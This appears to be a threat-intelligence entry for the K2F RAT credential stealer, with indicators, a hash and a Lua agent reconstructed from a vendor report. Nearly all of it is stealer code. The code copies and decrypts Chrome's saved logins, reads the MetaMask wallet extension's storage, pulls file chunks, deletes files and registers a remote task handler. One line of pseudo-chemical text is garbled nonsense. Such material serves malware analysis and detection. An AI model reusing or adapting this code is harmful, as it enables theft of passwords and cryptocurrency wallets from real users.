reconstructed-agent.lua
K2F RAT credential stealer
K2F remote-access and stealer markersK2F temporary collection file prefix
SHA-256e8455a833c4114756abdb3b7d19ed0d2bd462aa32b9c6626fc2e6ce0917b22e1
MaleculeK(Mc)O(Ca)H₃(Db₅F₅Os₃)
Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (Attackers turn NIKKE’s game launcher into malware).
Evidence
1-- Reconstructed from Bitdefender's report; backend interfaces are injected.
2K2F_LUA_BUILD = "722b99d8d0e9"
3local function install(backend)
4 local ops = {}
5 function ops.browserscan()
6 local profile = os.getenv("LOCALAPPDATA") .. [[\Google\Chrome\User Data\Default\]]
7 local staged = os.getenv("TEMP") .. "\\k2f-bcreds-" .. os.time() .. "-123.db"
8 backend.copy_file(profile .. "Login Data", staged)
9 local db = backend.sqlite_open(staged)
10 local rows = db:query("SELECT origin_url, username_value, password_value FROM logins")
11 local state = backend.read_file(profile .. "Local State")
12 local key = backend.CryptUnprotectData(state.os_crypt.encrypted_key)
13 return backend.decrypt_logins(rows, key)
14 end
15 function ops.wallet_files()
16 local root = os.getenv("LOCALAPPDATA") .. [[\Google\Chrome\User Data\Default\Local Extension Settings\]]
17 return backend.read_leveldb(root .. "nkbihfbeogaeaoehlefnkodbefgpgknn")
18 end
19 function ops.file_chunk(path)
20 return backend.read_file(path, 2097152)
21 end
22 function ops.payload_cleanup(path)
23 return os.remove(path)
24 end
25 local function handler(request)
26 local task = backend.json_decode(request)
27 return ops[task.op](task.path)
28 end
29 local comm = rawget(_G, "comm_center")
30 if type(comm) == "table" and type(comm["reg_service"]) == "function" then
31 comm["reg_service"]("k2f_chan", handler)
32 end
33end
34return install